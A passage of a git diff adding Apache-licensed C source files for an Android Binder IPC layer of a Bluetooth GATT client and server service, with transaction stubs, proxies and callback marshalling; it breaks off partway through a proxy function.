2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "gattc_service.h" +#include "service_manager.h" + +#include "gattc_callbacks_proxy.h" +#include "gattc_callbacks_stub.h" +#include "gattc_proxy.h" +#include "gattc_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_GATT_CLIENT_DESC "BluetoothGattClient" + +static void* IBtGattClient_Class_onCreate(void* arg) +{ + BT_LOGD("%s", __func__); + return arg; +} + +static void IBtGattClient_Class_onDestroy(void* userData) +{ + BT_LOGD("%s", __func__); +} + +static binder_status_t IBtGattClient_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + uint32_t handle; + uint32_t status; + + gattc_interface_t* profile = (gattc_interface_t*)service_manager_get_profile(PROFILE_GATTC); + if (!profile) + return stat; + + switch (code) { + case IGATT_CLIENT_CREATE_CONNECT: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtGattClientCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + if (profile->create_connect((void*)remote, (void**)&handle, (gattc_callbacks_t*)BpBtGattClientCallbacks_getStatic()) != BT_STATUS_SUCCESS) { + AIBinder_decStrong(remote); + stat = AParcel_writeUint32(reply, (uint32_t)NULL); + } else { + stat = AParcel_writeUint32(reply, (uint32_t)handle); + } + break; + } + case IGATT_CLIENT_DELETE_CONNECT: { + AIBinder* remote = NULL; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + remote = if_gattc_get_remote((void*)handle); + status = profile->delete_connect((void*)handle); + if (status == BT_STATUS_SUCCESS) + AIBinder_decStrong(remote); + + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_CONNECT: { + bt_address_t addr; + uint32_t addr_type; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &addr_type); + if (stat != STATUS_OK) + return stat; + + status = profile->connect((void*)handle, &addr, addr_type); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_DISCONNECT: { + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect((void*)handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_DISCOVER_SERVICE: { + bt_uuid_t uuid; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(in, &uuid); + if (stat != STATUS_OK) + return stat; + + status = profile->discover_service((void*)handle, &uuid); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE: { + uint32_t attr_handle; + gatt_attr_desc_t attr_desc; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + status = profile->get_attribute_by_handle((void*)handle, attr_handle, &attr_desc); + + stat = AParcel_writeUint32(reply, (uint32_t)attr_desc.handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUuid(reply, &attr_desc.uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, attr_desc.type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, attr_desc.properties); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_GET_ATTRIBUTE_BY_UUID: { + bt_uuid_t uuid; + gatt_attr_desc_t attr_desc; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(in, &uuid); + if (stat != STATUS_OK) + return stat; + + status = profile->get_attribute_by_uuid((void*)handle, &uuid, &attr_desc); + + stat = AParcel_writeUint32(reply, (uint32_t)attr_desc.handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUuid(reply, &attr_desc.uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, attr_desc.type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, attr_desc.properties); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_READ: { + uint32_t attr_handle; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + status = profile->read((void*)handle, attr_handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_WRITE: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->write((void*)handle, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_WRITE_WITHOUT_RESPONSE: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->write_without_response((void*)handle, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_SUBSCRIBE: { + uint32_t value_handle; + uint32_t cccd_handle; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &value_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &cccd_handle); + if (stat != STATUS_OK) + return stat; + + status = profile->subscribe((void*)handle, (uint16_t)value_handle, (uint16_t)cccd_handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_UNSUBSCRIBE: { + uint32_t value_handle; + uint32_t cccd_handle; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &value_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &cccd_handle); + if (stat != STATUS_OK) + return stat; + + status = profile->unsubscribe((void*)handle, (uint16_t)value_handle, (uint16_t)cccd_handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_EXCHANGE_MTU: { + uint32_t mtu; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &mtu); + if (stat != STATUS_OK) + return stat; + + status = profile->exchange_mtu((void*)handle, mtu); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_CLIENT_UPDATE_CONNECTION_PARAM: { + uint32_t min_interval; + uint32_t max_interval; + uint32_t latency; + uint32_t timeout; + uint32_t min_connection_event_length; + uint32_t max_connection_event_length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &min_interval); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &max_interval); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &latency); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &timeout); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &min_connection_event_length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &max_connection_event_length); + if (stat != STATUS_OK) + return stat; + + status = profile->update_connection_parameter((void*)handle, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtGattClient_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_GATT_CLIENT_DESC, IBtGattClient_Class_onCreate, + IBtGattClient_Class_onDestroy, IBtGattClient_Class_onTransact); + + return clazz; +} + +static AIBinder* BtGattClient_getBinder(IBtGattClient* iGattc) +{ + AIBinder* binder = NULL; + + if (iGattc->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(iGattc->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(iGattc->clazz, (void*)iGattc); + if (iGattc->WeakBinder != NULL) { + AIBinder_Weak_delete(iGattc->WeakBinder); + } + + iGattc->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtGattClient_addService(IBtGattClient* iGattc, const char* instance) +{ + iGattc->clazz = (AIBinder_Class*)BtGattClient_getClass(); + AIBinder* binder = BtGattClient_getBinder(iGattc); + iGattc->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtGattClient* BpBtGattClient_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtGattClient* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtGattClient_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtGattClient_delete(BpBtGattClient* bpBinder) +{ + AIBinder_decStrong(bpBinder->binder); + free(bpBinder); +} + +AIBinder* BtGattClient_getService(BpBtGattClient** bpGattc, const char* instance) +{ + BpBtGattClient* bpBinder = *bpGattc; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtGattClient_new(instance); + if (!bpBinder) + return NULL; + + *bpGattc = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/gatts_callbacks_proxy.c b/service/ipc/binder/src/gatts_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..233d6986922d9db90ef1a95aa00ebf48c3b08d8a --- /dev/null +++ b/service/ipc/binder/src/gatts_callbacks_proxy.c @@ -0,0 +1,240 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "gatts_service.h" + +#include "gatts_callbacks_stub.h" +#include "gatts_proxy.h" +#include "gatts_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtGattServerCallbacks_onConnected(void* handle, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattServerCallbacks_onDisconnected(void* handle, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_DISCONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattServerCallbacks_onStarted(void* handle, gatt_status_t status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_STARTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattServerCallbacks_onStopped(void* handle, gatt_status_t status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_STOPPED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattServerCallbacks_onMtuChanged(void* handle, bt_address_t* addr, uint32_t mtu) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)mtu); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_MTU_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattServerCallbacks_onNotifyComplete(void* handle, gatt_status_t status, uint16_t attr_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_NOTIFY_COMPLETE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const gatts_callbacks_t static_gatts_cbks = { + sizeof(static_gatts_cbks), + BpBtGattServerCallbacks_onConnected, + BpBtGattServerCallbacks_onDisconnected, + BpBtGattServerCallbacks_onStarted, + BpBtGattServerCallbacks_onStopped, + BpBtGattServerCallbacks_onNotifyComplete, + BpBtGattServerCallbacks_onMtuChanged, +}; + +const gatts_callbacks_t* BpBtGattServerCallbacks_getStatic(void) +{ + return &static_gatts_cbks; +} + +uint16_t BpBtGattServerCallbacks_onRead(void* handle, uint16_t attr_handle, uint32_t req_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)req_handle); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_READ, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + } + + return 0; +} + +uint16_t BpBtGattServerCallbacks_onWrite(void* handle, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gatts_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return 0; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)offset); + if (stat != STATUS_OK) + return 0; + + stat = AIBinder_transact(binder, ICBKS_GATT_SERVER_WRITE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + } + + return length; +} diff --git a/service/ipc/binder/src/gatts_callbacks_stub.c b/service/ipc/binder/src/gatts_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..e834b01184f1d3073685a83fd085cc5ec38946ac --- /dev/null +++ b/service/ipc/binder/src/gatts_callbacks_stub.c @@ -0,0 +1,245 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "gatts_callbacks_stub.h" +#include "gatts_proxy.h" +#include "gatts_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_GATT_SERVER_CALLBACK_DESC "BluetoothGattServerCallback" + +static const AIBinder_Class* kIBtGattServerCallbacks_Class = NULL; + +static void* IBtGattServerCallbacks_Class_onCreate(void* arg) +{ + BT_LOGD("%s", __func__); + return arg; +} + +static void IBtGattServerCallbacks_Class_onDestroy(void* userData) +{ + BT_LOGD("%s", __func__); +} + +static binder_status_t IBtGattServerCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtGattServerCallbacks* cbks = AIBinder_getUserData(binder); + bt_address_t addr; + + switch (code) { + case ICBKS_GATT_SERVER_CONNECTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_connected) + cbks->callbacks->on_connected(cbks, &addr); + break; + } + case ICBKS_GATT_SERVER_DISCONNECTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_disconnected) + cbks->callbacks->on_disconnected(cbks, &addr); + break; + } + case ICBKS_GATT_SERVER_STARTED: { + uint32_t status; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_started) + cbks->callbacks->on_started(cbks, status); + break; + } + case ICBKS_GATT_SERVER_STOPPED: { + uint32_t status; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_stopped) + cbks->callbacks->on_stopped(cbks, status); + break; + } + case ICBKS_GATT_SERVER_MTU_CHANGED: { + uint32_t mtu; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &mtu); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_mtu_changed) + cbks->callbacks->on_mtu_changed(cbks, &addr, mtu); + break; + } + case ICBKS_GATT_SERVER_READ: { + uint32_t attr_handle; + uint32_t req_handle; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &req_handle); + if (stat != STATUS_OK) + return stat; + + for (int i = 0; i < cbks->srv_db->attr_num; i++) { + if (cbks->srv_db->attr_db[i].handle == attr_handle && cbks->srv_db->attr_db[i].read_cb) { + cbks->srv_db->attr_db[i].read_cb(cbks, (uint16_t)attr_handle, req_handle); + break; + } + } + break; + } + case ICBKS_GATT_SERVER_WRITE: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + uint32_t offset; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) { + free(value); + return stat; + } + + stat = AParcel_readUint32(in, &offset); + if (stat != STATUS_OK) { + free(value); + return stat; + } + + for (int i = 0; i < cbks->srv_db->attr_num; i++) { + if (cbks->srv_db->attr_db[i].handle == attr_handle && cbks->srv_db->attr_db[i].write_cb) { + cbks->srv_db->attr_db[i].write_cb(cbks, (uint16_t)attr_handle, value, length, offset); + break; + } + } + free(value); + break; + } + case ICBKS_GATT_SERVER_NOTIFY_COMPLETE: { + uint32_t status; + uint32_t attr_handle; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_notify_complete) + cbks->callbacks->on_notify_complete(cbks, status, (uint16_t)attr_handle); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtGattServerCallbacks_getBinder(IBtGattServerCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtGattServerCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtGattServerCallbacks_Class) { + kIBtGattServerCallbacks_Class = AIBinder_Class_define(BT_GATT_SERVER_CALLBACK_DESC, IBtGattServerCallbacks_Class_onCreate, + IBtGattServerCallbacks_Class_onDestroy, IBtGattServerCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtGattServerCallbacks_Class); +} + +IBtGattServerCallbacks* BtGattServerCallbacks_new(const gatts_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtGattServerCallbacks* cbks = malloc(sizeof(IBtGattServerCallbacks)); + + clazz = AIBinder_Class_define(BT_GATT_SERVER_CALLBACK_DESC, IBtGattServerCallbacks_Class_onCreate, + IBtGattServerCallbacks_Class_onDestroy, IBtGattServerCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtGattServerCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtGattServerCallbacks_delete(IBtGattServerCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/gatts_proxy.c b/service/ipc/binder/src/gatts_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..e6972d47242e632a3083c663067972cb4c8721ae --- /dev/null +++ b/service/ipc/binder/src/gatts_proxy.c @@ -0,0 +1,379 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" + +#include "gatts_proxy.h" +#include "gatts_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtGattServer_registerService(BpBtGattServer* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t handle; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IGATT_SERVER_REGISTER_SERVICE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &handle); + if (stat != STATUS_OK) + return NULL; + + return (void*)handle; +} + +bt_status_t BpBtGattServer_unregisterService(BpBtGattServer* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_UNREGISTER_SERVICE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_connect(BpBtGattServer* bpBinder, void* handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)addr_type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_disconnect(BpBtGattServer* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_createServiceTable(BpBtGattServer* bpBinder, void* handle, gatt_srv_db_t* srv_db) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t state; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + if (!srv_db) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != 